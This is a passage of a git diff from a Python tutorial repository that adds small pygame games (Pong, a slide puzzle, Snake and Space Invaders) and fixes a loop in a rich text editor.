# add gravity for player to fall + def _apply_gravity(self, player): + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # prevents player to pass through objects horizontally + def _horizontal_movement_collision(self): + player = self.player.sprite + player.rect.x += player.direction.x * player.speed + + for sprite in self.tiles.sprites(): + if sprite.rect.colliderect(player.rect): + # checks if moving towards left + if player.direction.x < 0: + player.rect.left = sprite.rect.right + player.on_left = True + self.current_x = player.rect.left + # checks if moving towards right + elif player.direction.x > 0: + player.rect.right = sprite.rect.left + player.on_right = True + self.current_x = player.rect.right + if player.on_left and (player.rect.left < self.current_x or player.direction.x >= 0): + player.on_left = False + if player.on_right and (player.rect.right > self.current_x or player.direction.x <= 0): + player.on_right = False + + # prevents player to pass through objects vertically + def _vertical_movement_collision(self): + player = self.player.sprite + self._apply_gravity(player) + + for sprite in self.tiles.sprites(): + if sprite.rect.colliderect(player.rect): + # checks if moving towards bottom + if player.direction.y > 0: + player.rect.bottom = sprite.rect.top + player.direction.y = 0 + player.on_ground = True + # checks if moving towards up + elif player.direction.y < 0: + player.rect.top = sprite.rect.bottom + player.direction.y = 0 + player.on_ceiling = True + if player.on_ground and player.direction.y < 0 or player.direction.y > 1: + player.on_ground = False + if player.on_ceiling and player.direction.y > 0: + player.on_ceiling = False + + # add consequences when player run through traps + def _handle_traps(self): + player = self.player.sprite + + for sprite in self.traps.sprites(): + if sprite.rect.colliderect(player.rect): + if player.direction.x < 0 or player.direction.y > 0: + player.rect.x += tile_size + elif player.direction.x > 0 or player.direction.y > 0: + player.rect.x -= tile_size + player.life -= 1 + + # updating the game world from all changes commited + def update(self, player_event): + # for tile + self.tiles.update(self.world_shift) + self.tiles.draw(self.screen) + + # for trap + self.traps.update(self.world_shift) + self.traps.draw(self.screen) + + # for goal + self.goal.update(self.world_shift) + self.goal.draw(self.screen) + + self._scroll_x() + + # for player + self._horizontal_movement_collision() + self._vertical_movement_collision() + self._handle_traps() + self.player.update(player_event) + self.game.show_life(self.player.sprite) + self.player.draw(self.screen) + + self.game.game_state(self.player.sprite, self.goal.sprite) diff --git a/gui-programming/pong-game/README.md b/gui-programming/pong-game/README.md new file mode 100644 index 00000000..fac7a789 --- /dev/null +++ b/gui-programming/pong-game/README.md @@ -0,0 +1 @@ +# [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python) \ No newline at end of file diff --git a/gui-programming/pong-game/ball.py b/gui-programming/pong-game/ball.py new file mode 100644 index 00000000..7a069cb7 --- /dev/null +++ b/gui-programming/pong-game/ball.py @@ -0,0 +1,42 @@ +import pygame, sys +import random +from settings import WIDTH, HEIGHT + +pygame.init() + +class Ball: + def __init__(self, x, y, radius): + self.x = x + self.y = y + self.radius = radius + self.rect = pygame.Rect(self.x, self.y, radius, radius) + self.color = pygame.Color("red") + self.direction = None + self.speed_x = 0 + self.speed_y = 0 + self._random_direction() + + def _random_direction(self): + direction = ("right", "left") + self.direction = random.choice(direction) + + def _ball_movement(self): + # horizontal handling + if self.direction == "right": + self.speed_x = 18 + else: + self.speed_x = -18 + + # vertical handling + if self.rect.y >= HEIGHT - self.radius: + self.speed_y = -18 + elif self.rect.y <= 0 + self.radius: + self.speed_y = 18 + + # wall bounce handling + self.rect.x += self.speed_x + self.rect.y += self.speed_y + + def update(self, screen): + self._ball_movement() + pygame.draw.rect(screen, self.color, self.rect) \ No newline at end of file diff --git a/gui-programming/pong-game/main.py b/gui-programming/pong-game/main.py new file mode 100644 index 00000000..c4913973 --- /dev/null +++ b/gui-programming/pong-game/main.py @@ -0,0 +1,37 @@ +import pygame, sys +from settings import WIDTH, HEIGHT +from table import Table + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Ping Pong") + +class Pong: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def draw(self): + pygame.display.flip() + + def main(self): + # start menu here + table = Table(self.screen) # pass to table the player_option saved to table.game_mode + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + table.player_move() + table.update() + self.draw() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Pong(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/pong-game/player.py b/gui-programming/pong-game/player.py new file mode 100644 index 00000000..34004715 --- /dev/null +++ b/gui-programming/pong-game/player.py @@ -0,0 +1,20 @@ +import pygame + +class Player: + def __init__(self, x, y, width, height): + self.x = x + self.y = y + self.rect = pygame.Rect(self.x, self.y, width, height) + self.color = pygame.Color("gray") + self.player_speed = 16 + + self.score = 0 + + def move_up(self): + self.rect.y -= self.player_speed + + def move_bottom(self): + self.rect.y += self.player_speed + + def update(self, screen): + pygame.draw.rect(screen, self.color, self.rect) \ No newline at end of file diff --git a/gui-programming/pong-game/requirements.txt b/gui-programming/pong-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/pong-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pong-game/settings.py b/gui-programming/pong-game/settings.py new file mode 100644 index 00000000..7fad2059 --- /dev/null +++ b/gui-programming/pong-game/settings.py @@ -0,0 +1,3 @@ +WIDTH, HEIGHT = 990, 450 + +player_width, player_height = 20, 90 \ No newline at end of file diff --git a/gui-programming/pong-game/table.py b/gui-programming/pong-game/table.py new file mode 100644 index 00000000..877d2275 --- /dev/null +++ b/gui-programming/pong-game/table.py @@ -0,0 +1,94 @@ +import pygame, time +import sys +from player import Player +from ball import Ball +from settings import WIDTH, HEIGHT, player_width, player_height + +class Table: + def __init__(self, screen): + self.screen = screen + self.game_over = False + self.score_limit = 10 + self.winner = None + self._generate_world() + + # text info + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + + # create and add player to the screen + def _generate_world(self): + self.playerA = Player(0, HEIGHT // 2 - (player_height // 2), player_width, player_height) + self.playerB = Player(WIDTH - player_width, HEIGHT // 2 - (player_height // 2), player_width, player_height) + self.ball = Ball(WIDTH // 2 - player_width, HEIGHT - player_width, player_width) + + def _ball_hit(self): + # if ball is not hit by a player and pass through table sides + if self.ball.rect.left >= WIDTH: + self.playerA.score += 1 + self.ball.rect.x = WIDTH // 2 + time.sleep(1) + elif self.ball.rect.right <= 0: + self.playerB.score += 1 + self.ball.rect.x = WIDTH // 2 + time.sleep(1) + + # if ball land in the player + if pygame.Rect.colliderect(self.ball.rect, self.playerA.rect): + self.ball.direction = "right" + if pygame.Rect.colliderect(self.ball.rect, self.playerB.rect): + self.ball.direction = "left" + + def _bot_opponent(self): + if self.ball.direction == "left" and self.ball.rect.centery != self.playerA.rect.centery: + if self.ball.rect.top <= self.playerA.rect.top: + if self.playerA.rect.top > 0: + self.playerA.move_up() + if self.ball.rect.bottom >= self.playerA.rect.bottom: + if self.playerA.rect.bottom < HEIGHT: + self.playerA.move_bottom() + + def player_move(self): + keys = pygame.key.get_pressed() + + # for bot opponent controls + self._bot_opponent() + + # for player controls + if keys[pygame.K_UP]: + if self.playerB.rect.top > 0: + self.playerB.move_up() + if keys[pygame.K_DOWN]: + if self.playerB.rect.bottom < HEIGHT: + self.playerB.move_bottom() + + def _show_score(self): + A_score, B_score = str(self.playerA.score), str(self.playerB.score) + A_score = self.font.render(A_score, True, self.color) + B_score = self.font.render(B_score, True, self.color) + self.screen.blit(A_score, (WIDTH // 4, 50)) + self.screen.blit(B_score, ((WIDTH // 4) * 3, 50)) + + def _game_end(self): + if self.winner != None: + print(f"{self.winner} wins!!") + pygame.quit() + sys.exit() + + def update(self): + self._show_score() + + self.playerA.update(self.screen) + self.playerB.update(self.screen) + + self._ball_hit() + + if self.playerA.score == self.score_limit: + self.winner = "Opponent" + + elif self.playerB.score == self.score_limit: + self.winner = "You" + + self._game_end() + self.ball.update(self.screen) \ No newline at end of file diff --git a/gui-programming/rich-text-editor/rich_text_editor.py b/gui-programming/rich-text-editor/rich_text_editor.py index 10c14263..05259905 100644 --- a/gui-programming/rich-text-editor/rich_text_editor.py +++ b/gui-programming/rich-text-editor/rich_text_editor.py @@ -112,9 +112,9 @@ def fileManager(event=None, action=None): document['tags'][tagName] = [] ranges = textArea.tag_ranges(tagName) - - for i, tagRange in enumerate(ranges[::2]): - document['tags'][tagName].append([str(tagRange), str(ranges[i+1])]) + + for i in range(0, len(ranges), 2): + document['tags'][tagName].append([str(ranges[i]), str(ranges[i + 1])]) if not filePath: # ask the user for a filename with the native file explorer. diff --git a/gui-programming/slide-puzzle/README.md b/gui-programming/slide-puzzle/README.md new file mode 100644 index 00000000..6190805e --- /dev/null +++ b/gui-programming/slide-puzzle/README.md @@ -0,0 +1 @@ +# [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/cell.py b/gui-programming/slide-puzzle/cell.py new file mode 100644 index 00000000..0c92489a --- /dev/null +++ b/gui-programming/slide-puzzle/cell.py @@ -0,0 +1,29 @@ +import pygame + +class Cell: + def __init__(self, row, col, cell_size, c_id): + self.row = row + self.col = col + self.cell_size = cell_size + self.width = self.cell_size[0] + self.height = self.cell_size[1] + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.c_id = c_id + + self.rect = pygame.Rect( + self.abs_x, + self.abs_y, + self.width, + self.height + ) + + self.occupying_piece = None + + def draw(self, display): + pygame.draw.rect(display, (0,0,0), self.rect) + if self.occupying_piece != None and self.occupying_piece.p_id != 8: + centering_rect = self.occupying_piece.img.get_rect() + centering_rect.center = self.rect.center + display.blit(self.occupying_piece.img, centering_rect.topleft) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/frame.py b/gui-programming/slide-puzzle/frame.py new file mode 100644 index 00000000..04647307 --- /dev/null +++ b/gui-programming/slide-puzzle/frame.py @@ -0,0 +1,95 @@ +import pygame +import random + +from cell import Cell +from piece import Piece + +class Frame: + def __init__(self, frame_size): + self.grid_size = 3 + self.cell_width = frame_size // self.grid_size + self.cell_height = frame_size // self.grid_size + self.cell_size = (self.cell_width, self.cell_height) + + self.grid = self._generate_cell() + self.pieces = self._generate_piece() + + self._setup() + self.randomize_puzzle() + + def _generate_cell(self): + cells = [] + c_id = 0 + for col in range(self.grid_size): + new_row = [] + for row in range(self.grid_size): + new_row.append(Cell(row, col, self.cell_size, c_id)) + c_id += 1 + cells.append(new_row) + return cells + + def _generate_piece(self): + puzzle_pieces = [] + p_id = 0 + for col in range(self.grid_size): + for row in range(self.grid_size): + puzzle_pieces.append(Piece(self.cell_size, p_id)) + p_id += 1 + return puzzle_pieces + + def _setup(self): + for row in self.grid: + for cell in row: + tile_piece = self.pieces[-1] + cell.occupying_piece = tile_piece + self.pieces.remove(tile_piece) + + def randomize_puzzle(self): + moves = [(0, 1),(0, -1),(1, 0),(-1, 0)] + for i in range(30): + shuffle_move = random.choice(moves) + for row in self.grid: + for cell in row: + tile_x = self.grid.index(row) + shuffle_move[0] + tile_y = row.index(cell) + shuffle_move[1] + if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2: + new_cell = self.grid[tile_x][tile_y] + if new_cell.occupying_piece.img == None: + c = (cell, new_cell) + try: + c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece + except: + return False + else: + continue + + def _is_move_valid(self, click): + moves = { + 79: (0, 1), + 80: (0, -1), + 81: (1, 0), + 82: (-1, 0) + } + for row in self.grid: + for cell in row: + move = moves[click.scancode] + tile_x = self.grid.index(row) + move[0] + tile_y = row.index(cell) + move[1] + if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2: + new_cell = self.grid[tile_x][tile_y] + if new_cell.occupying_piece.img == None: + return (cell, new_cell) + else: + continue + + def handle_click(self, click): + c = self._is_move_valid(click) + try: + c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece + except: + return False + + def draw(self, display): + for row in self.grid: + for cell in row: + cell.draw(display) diff --git a/gui-programming/slide-puzzle/game.py b/gui-programming/slide-puzzle/game.py new file mode 100644 index 00000000..7a51e13c --- /dev/null +++ b/gui-programming/slide-puzzle/game.py @@ -0,0 +1,32 @@ +import pygame + +pygame.font.init() + +class Game: + def __init__(self): + self.font = pygame.font.SysFont("Courier New", 35) + self.background_color = (255, 174, 66) + self.message_color = (17, 53, 165) + + def arrow_key_clicked(self, click): + try: + if click.key == pygame.K_LEFT or click.key == pygame.K_RIGHT or click.key == pygame.K_UP or click.key == pygame.K_DOWN: + return(True) + except: + return(False) + + def is_game_over(self, frame): + for row in frame.grid: + for cell in row: + piece_id = cell.occupying_piece.p_id + if cell.c_id == piece_id: + is_arranged = True + else: + is_arranged = False + break + return is_arranged + + def message(self, screen): + screen.fill(self.background_color, (5, 460, 440, 35)) + instructions = self.font.render('You Win!!', True, self.message_color) + screen.blit(instructions,(125,460)) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/main.py b/gui-programming/slide-puzzle/main.py new file mode 100644 index 00000000..247d530e --- /dev/null +++ b/gui-programming/slide-puzzle/main.py @@ -0,0 +1,59 @@ +import pygame + +from frame import Frame +from game import Game + +pygame.init() +pygame.font.init() + +class Puzzle: + def __init__(self, screen): + self.screen = screen + self.running = True + self.FPS = pygame.time.Clock() + self.is_arranged = False + self.font = pygame.font.SysFont("Courier New", 33) + self.background_color = (255, 174, 66) + self.message_color = (17, 53, 165) + + def _draw(self, frame): + frame.draw(self.screen) + pygame.display.update() + + def _instruction(self): + instructions = self.font.render('Use Arrow Keys to Move', True, self.message_color) + screen.blit(instructions,(5,460)) + + def main(self, frame_size): + self.screen.fill("white") + frame = Frame(frame_size) + game = Game() + self._instruction() + while self.running: + + if game.is_game_over(frame): + self.is_arranged = True + game.message(self.screen) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + self.running = False + + if event.type == pygame.KEYDOWN: + if not self.is_arranged: + if game.arrow_key_clicked(event): + frame.handle_click(event) + + self._draw(frame) + self.FPS.tick(30) + + pygame.quit() + + +if __name__ == "__main__": + window_size = (450, 500) + screen = pygame.display.set_mode(window_size) + pygame.display.set_caption("Slide Puzzle") + + game = Puzzle(screen) + game.main(window_size[0]) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/piece.py b/gui-programming/slide-puzzle/piece.py new file mode 100644 index 00000000..b07647fc --- /dev/null +++ b/gui-programming/slide-puzzle/piece.py @@ -0,0 +1,13 @@ +import pygame + +class Piece: + def __init__(self, piece_size, p_id): + self.piece_size = piece_size + self.p_id = p_id + + if self.p_id != 8: + img_path = f'puzz-pieces/{self.p_id}.jpg' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, self.piece_size) + else: + self.img = None \ No newline at end of file diff --git a/gui-programming/slide-puzzle/puzz-pieces/0.jpg b/gui-programming/slide-puzzle/puzz-pieces/0.jpg new file mode 100644 index 00000000..051d8315 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/0.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/1.jpg b/gui-programming/slide-puzzle/puzz-pieces/1.jpg new file mode 100644 index 00000000..eddfd295 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/1.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/2.jpg b/gui-programming/slide-puzzle/puzz-pieces/2.jpg new file mode 100644 index 00000000..d3d2ffa0 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/2.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/3.jpg b/gui-programming/slide-puzzle/puzz-pieces/3.jpg new file mode 100644 index 00000000..77f61e3e Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/3.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/4.jpg b/gui-programming/slide-puzzle/puzz-pieces/4.jpg new file mode 100644 index 00000000..592c306f Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/4.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/5.jpg b/gui-programming/slide-puzzle/puzz-pieces/5.jpg new file mode 100644 index 00000000..0bb5ed4b Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/5.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/6.jpg b/gui-programming/slide-puzzle/puzz-pieces/6.jpg new file mode 100644 index 00000000..d0fe5e3c Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/6.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/7.jpg b/gui-programming/slide-puzzle/puzz-pieces/7.jpg new file mode 100644 index 00000000..99a6fa64 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/7.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/8.jpg b/gui-programming/slide-puzzle/puzz-pieces/8.jpg new file mode 100644 index 00000000..8bc3f901 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/8.jpg differ diff --git a/gui-programming/slide-puzzle/requirements.txt b/gui-programming/slide-puzzle/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/slide-puzzle/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/snake-game/README.md b/gui-programming/snake-game/README.md new file mode 100644 index 00000000..6745bc0f --- /dev/null +++ b/gui-programming/snake-game/README.md @@ -0,0 +1 @@ +# [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/snake-game/requirements.txt b/gui-programming/snake-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/snake-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/snake-game/snake.py b/gui-programming/snake-game/snake.py new file mode 100644 index 00000000..b99c141f --- /dev/null +++ b/gui-programming/snake-game/snake.py @@ -0,0 +1,156 @@ +import pygame +import random + +# setting up some initial parameters +WIDTH, HEIGHT = 600, 600 +BLOCK_SIZE = 20 + +pygame.font.init() +score_font = pygame.font.SysFont("consolas", 20) # or any other font you'd like +score = 0 + +# color definition +WHITE = (255, 255, 255) +RED = (255, 0, 0) + +# initialize pygame +pygame.init() + +# setting up display +win = pygame.display.set_mode((WIDTH, HEIGHT)) + +# setting up clock +clock = pygame.time.Clock() + +# snake and food initialization +snake_pos = [[WIDTH//2, HEIGHT//2]] +snake_speed = [0, BLOCK_SIZE] + +teleport_walls = True # set this to True to enable wall teleporting + + +def generate_food(): + while True: + x = random.randint(0, (WIDTH - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE + y = random.randint(0, (HEIGHT - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE + food_pos = [x, y] + if food_pos not in snake_pos: + return food_pos + +food_pos = generate_food() + +def draw_objects(): + win.fill((0, 0, 0)) + for pos in snake_pos: + pygame.draw.rect(win, WHITE, pygame.Rect(pos[0], pos[1], BLOCK_SIZE, BLOCK_SIZE)) + pygame.draw.rect(win, RED, pygame.Rect(food_pos[0], food_pos[1], BLOCK_SIZE, BLOCK_SIZE)) + # Render the score + score_text = score_font.render(f"Score: {score}", True, WHITE) + win.blit(score_text, (10, 10)) # draws the score on the top-left corner + + +def update_snake(): + global food_pos, score + new_head = [snake_pos[0][0] + snake_speed[0], snake_pos[0][1] + snake_speed[1]] + + if teleport_walls: + # if the new head position is outside of the screen, wrap it to the other side + if new_head[0] >= WIDTH: + new_head[0] = 0 + elif new_head[0] < 0: + new_head[0] = WIDTH - BLOCK_SIZE + if new_head[1] >= HEIGHT: + new_head[1] = 0 + elif new_head[1] < 0: + new_head[1] = HEIGHT - BLOCK_SIZE + + if new_head == food_pos: + food_pos = generate_food() # generate new food + score += 1 # increment score when food is eaten + else: + snake_pos.pop() # remove the last element from the snake + + snake_pos.insert(0, new_head) # add the new head to the snake + + +def game_over(): + # game over when snake hits the boundaries or runs into itself + if teleport_walls: + return snake_pos[0] in snake_pos[1:] + else: + return snake_pos[0] in snake_pos[1:] or \ + snake_pos[0][0] > WIDTH - BLOCK_SIZE or \ + snake_pos[0][0] < 0 or \ + snake_pos[0][1] > HEIGHT - BLOCK_SIZE or \ + snake_pos[0][1] < 0 + + +def game_over_screen(): + global score + win.fill((0, 0, 0)) + game_over_font = pygame.font.SysFont("consolas", 50) + game_over_text = game_over_font.render(f"Game Over! Score: {score}", True, WHITE) + win.blit(game_over_text, (WIDTH // 2 - game_over_text.get_width() // 2, HEIGHT // 2 - game_over_text.get_height() // 2)) + pygame.display.update() + + while True: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + return + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_r: + run() # replay the game + return + elif event.key == pygame.K_q: + pygame.quit() # quit the game + return + + + +def run(): + global snake_speed, snake_pos, food_pos, score + snake_pos = [[WIDTH//2, HEIGHT//2]] + snake_speed = [0, BLOCK_SIZE] + food_pos = generate_food() + score = 0 + running = True + while running: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + keys = pygame.key.get_pressed() + for key in keys: + if keys[pygame.K_UP]: + # when UP is pressed but the snake is moving down, ignore the input + if snake_speed[1] == BLOCK_SIZE: + continue + snake_speed = [0, -BLOCK_SIZE] + if keys[pygame.K_DOWN]: + # when DOWN is pressed but the snake is moving up, ignore the input + if snake_speed[1] == -BLOCK_SIZE: + continue + snake_speed = [0, BLOCK_SIZE] + if keys[pygame.K_LEFT]: + # when LEFT is pressed but the snake is moving right, ignore the input + if snake_speed[0] == BLOCK_SIZE: + continue + snake_speed = [-BLOCK_SIZE, 0] + if keys[pygame.K_RIGHT]: + # when RIGHT is pressed but the snake is moving left, ignore the input + if snake_speed[0] == -BLOCK_SIZE: + continue + snake_speed = [BLOCK_SIZE, 0] + + draw_objects() + update_snake() + if game_over(): + game_over_screen() + break + pygame.display.update() + clock.tick(10) + pygame.quit() + + +if __name__ == '__main__': + run() diff --git a/gui-programming/space-invaders-game/README.md b/gui-programming/space-invaders-game/README.md new file mode 100644 index 00000000..444ff669 --- /dev/null +++ b/gui-programming/space-invaders-game/README.md @@ -0,0 +1 @@ +# [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/alien.py b/gui-programming/space-invaders-game/alien.py new file mode 100644 index 00000000..62b8a09e --- /dev/null +++ b/gui-programming/space-invaders-game/alien.py @@ -0,0 +1,39 @@ +import pygame + +from settings import BULLET_SIZE +from bullet import Bullet + +class Alien(pygame.sprite.Sprite): + def __init__(self, pos, size, row_num): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # alien info + img_path = f'assets/aliens/{row_num}.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + self.move_speed = 5 + self.to_direction = "right" + + # alien status + self.bullets = pygame.sprite.GroupSingle() + + + def move_left(self): + self.rect.x -= self.move_speed + + def move_right(self): + self.rect.x += self.move_speed + + def move_bottom(self): + self.rect.y += self.move_speed + + def _shoot(self): + specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.centery) + self.bullets.add(Bullet(specific_pos, BULLET_SIZE, "enemy")) + + def update(self): + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/assets/aliens/0.png b/gui-programming/space-invaders-game/assets/aliens/0.png new file mode 100644 index 00000000..b403b43e Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/0.png differ diff --git a/gui-programming/space-invaders-game/assets/aliens/1.png b/gui-programming/space-invaders-game/assets/aliens/1.png new file mode 100644 index 00000000..37b59d02 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/1.png differ diff --git a/gui-programming/space-invaders-game/assets/aliens/2.png b/gui-programming/space-invaders-game/assets/aliens/2.png new file mode 100644 index 00000000..ded6e0f8 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/2.png differ diff --git a/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png new file mode 100644 index 00000000..12dbfe33 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png differ diff --git a/gui-programming/space-invaders-game/assets/bullet/player-bullet.png b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png new file mode 100644 index 00000000..da000f45 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png differ diff --git a/gui-programming/space-invaders-game/assets/life/life.png b/gui-programming/space-invaders-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/life/life.png differ diff --git a/gui-programming/space-invaders-game/assets/ship/ship.png b/gui-programming/space-invaders-game/assets/ship/ship.png new file mode 100644 index 00000000..e3ab8a9a Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship.png differ diff --git a/gui-programming/space-invaders-game/assets/ship/ship1.png b/gui-programming/space-invaders-game/assets/ship/ship1.png new file mode 100644 index 00000000..29147e82 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship1.png differ diff --git a/gui-programming/space-invaders-game/bullet.py b/gui-programming/space-invaders-game/bullet.py new file mode 100644 index 00000000..d782e991 --- /dev/null +++ b/gui-programming/space-invaders-game/bullet.py @@ -0,0 +1,34 @@ +import pygame +from settings import BULLET_SPEED, HEIGHT + +class Bullet(pygame.sprite.Sprite): + def __init__(self, pos, size, side): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # bullet info + img_path = f'assets/bullet/{side}-bullet.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # different bullet movement direction for both player and enemy (alien) + if side == "enemy": + self.move_speed = BULLET_SPEED + elif side == "player": + self.move_speed = (- BULLET_SPEED) + + + def _move_bullet(self): + self.rect.y += self.move_speed + + + def update(self): + self._move_bullet() + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + + # delete the bullet if it get through out of the screen + if self.rect.bottom <= 0 or self.rect.top >= HEIGHT: + self.kill() \ No newline at end of file diff --git a/gui-programming/space-invaders-game/display.py b/gui-programming/space-invaders-game/display.py new file mode 100644 index 00000000..2dd2e514 --- /dev/null +++ b/gui-programming/space-invaders-game/display.py @@ -0,0 +1,43 @@ +import pygame +from settings import WIDTH, HEIGHT, SPACE, FONT_SIZE, EVENT_FONT_SIZE + +pygame.font.init() + +class Display: + def __init__(self, screen): + self.screen = screen + self.score_font = pygame.font.SysFont("monospace", FONT_SIZE) + self.level_font = pygame.font.SysFont("impact", FONT_SIZE) + self.event_font = pygame.font.SysFont("impact", EVENT_FONT_SIZE) + self.text_color = pygame.Color("blue") + self.event_color = pygame.Color("red") + + + def show_life(self, life): + life_size = 30 + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (life_size, life_size)) + life_x = SPACE // 2 + + if life != 0: + for life in range(life): + self.screen.blit(life_image, (life_x, HEIGHT + (SPACE // 2))) + life_x += life_size + + + def show_score(self, score): + score_x = WIDTH // 3 + score = self.score_font.render(f'score: {score}', True, self.text_color) + self.screen.blit(score, (score_x, (HEIGHT + (SPACE // 2)))) + + + def show_level(self, level): + level_x = WIDTH // 3 + level = self.level_font.render(f'Level {level}', True, self.text_color) + self.screen.blit(level, (level_x * 2, (HEIGHT + (SPACE // 2)))) + + + def game_over_message(self): + message = self.event_font.render('GAME OVER!!', True, self.event_color) + self.screen.blit(message, ((WIDTH // 3) - (EVENT_FONT_SIZE // 2), (HEIGHT // 2) - (EVENT_FONT_SIZE // 2))) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/main.py b/gui-programming/space-invaders-game/main.py new file mode 100644 index 00000000..69f92c07 --- /dev/null +++ b/gui-programming/space-invaders-game/main.py @@ -0,0 +1,36 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, NAV_THICKNESS +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_THICKNESS)) +pygame.display.set_caption("Space Invader") + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def main(self): + world = World(self.screen) + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_SPACE: + world.player_move(attack = True) + + world.player_move() + world.update() + pygame.display.update() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/space-invaders-game/requirements.txt b/gui-programming/space-invaders-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/space-invaders-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/space-invaders-game/settings.py b/gui-programming/space-invaders-game/settings.py new file mode 100644 index 00000000..48e871da --- /dev/null +++ b/gui-programming/space-invaders-game/settings.py @@ -0,0 +1,11 @@ +WIDTH, HEIGHT = 720, 450 + +SPACE = 30 +FONT_SIZE = 20 +EVENT_FONT_SIZE = 60 +NAV_THICKNESS = 50 +CHARACTER_SIZE = 30 +PLAYER_SPEED = 10 +ENEMY_SPEED = 1 +BULLET_SPEED = 15 # for both sides +BULLET_SIZE = 10 \ No newline at end of file diff --git a/gui-programming/space-invaders-game/ship.py b/gui-programming/space-invaders-game/ship.py new file mode 100644 index 